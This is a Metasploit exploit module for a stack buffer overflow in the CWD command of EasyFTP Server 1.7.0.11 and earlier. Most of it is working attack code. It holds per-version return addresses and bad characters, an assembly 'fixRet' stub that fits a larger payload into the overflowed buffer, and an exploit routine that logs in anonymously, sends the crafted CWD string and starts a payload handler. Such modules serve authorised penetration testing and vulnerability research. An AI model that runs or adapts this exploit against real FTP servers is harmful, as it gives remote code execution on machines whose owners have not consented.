EasyFTP Server CWD Command Stack Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'EasyFTP Server CWD Command Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
        and earlier. EasyFTP fails to check input size when parsing 'CWD' commands, which
        leads to a stack based buffer overflow.  EasyFTP allows anonymous access by
        default; valid credentials are typically unnecessary to exploit this vulnerability.

        After version 1.7.0.12, this package was renamed "UplusFtp".

        This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'.
        This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by
        'fixing' the return address post-exploitation.  See references for more information.
      },
      'Author'         =>
        [
          'Paul Makowski <my.hndl[at]gmail.com>', # original version
          'jduck' # various fixes, remove most hardcoded addresses
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '62134' ],
          [ 'BID', '38262' ],
          [ 'URL', 'http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/' ],
          [ 'URL', 'http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit' ],
          [ 'URL', 'https://seclists.org/bugtraq/2010/Feb/202' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          # Total bytes able to write without crashing program (505) - length of fixRet (25) - slack space (30) = 450
          'Space'    => 505 - 30 - 25,
          'BadChars' => "\x00\x0a\x2f\x5c", # from: http://downloads.securityfocus.com/vulnerabilities/exploits/38262-1.py
          'DisableNops' => true
        },
      'Platform'	 => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal - v1.7.0.2',   { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe
          [ 'Windows Universal - v1.7.0.3',   { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe
          [ 'Windows Universal - v1.7.0.4',   { 'Ret' => 0x00404111 } ], # call edi - from ftpbasicsvr.exe
          [ 'Windows Universal - v1.7.0.5',   { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
          [ 'Windows Universal - v1.7.0.6',   { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
          [ 'Windows Universal - v1.7.0.7',   { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
          [ 'Windows Universal - v1.7.0.8',   { 'Ret' => 0x004043ca } ], # call edi - from ftpbasicsvr.exe
          [ 'Windows Universal - v1.7.0.9',   { 'Ret' => 0x0040438a } ], # call edi - from ftpbasicsvr.exe
          [ 'Windows Universal - v1.7.0.10',  { 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe
          [ 'Windows Universal - v1.7.0.11',  { 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe
        ],
      'DisclosureDate' => '2010-02-16',
      'DefaultTarget' => 0))
  end

  def check
    connect
    disconnect

    if (banner =~ /BigFoolCat/) # EasyFTP Server has undergone several name changes
      return Exploit::CheckCode::Detected
    end
      return Exploit::CheckCode::Safe
  end

  def exploit
    connect_login

    # If the payload's length is larger than 233 bytes then the payload must be bisected with the return address and later patched.
    # Explanation of technique: http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/

    # NOTE:
    # This exploit jumps to edi, which happens to point at a partial version of
    # the 'buf' string in memory. The fixRet below fixes up the code stored on the
    # stack and then jumps there to execute the payload. The value in esp is used
    # with an offset for the fixup.
    fixRet_asm = %q{
      mov ecx, 0xdeadbeef
      mov edi, esp
      sub edi, 0xfffffe14
      mov [edi], ecx
      add edi, 0xffffff14
      jmp edi
    }
    fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string

    buf = ''

    print_status("Prepending fixRet...")
    buf << fixRet
    buf << make_nops(0x20 - buf.length)
    #buf << "C" * (0x20 - buf.length)

    print_status("Adding the payload...")
    buf << payload.encoded

    # Backup the original return address bytes
    buf[1,4] = buf[268,4]

    print_status("Overwriting part of the payload with target address...")
    buf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes

    # NOTE: SEH head at offset 256 also gets smashed. That is, it becomes what is at fs:[0] ..

    print_status("Sending exploit buffer...")
    send_cmd( ['CWD', buf] , false) # this will automatically put a space between 'CWD' and our attack string

    handler
    disconnect
  end
end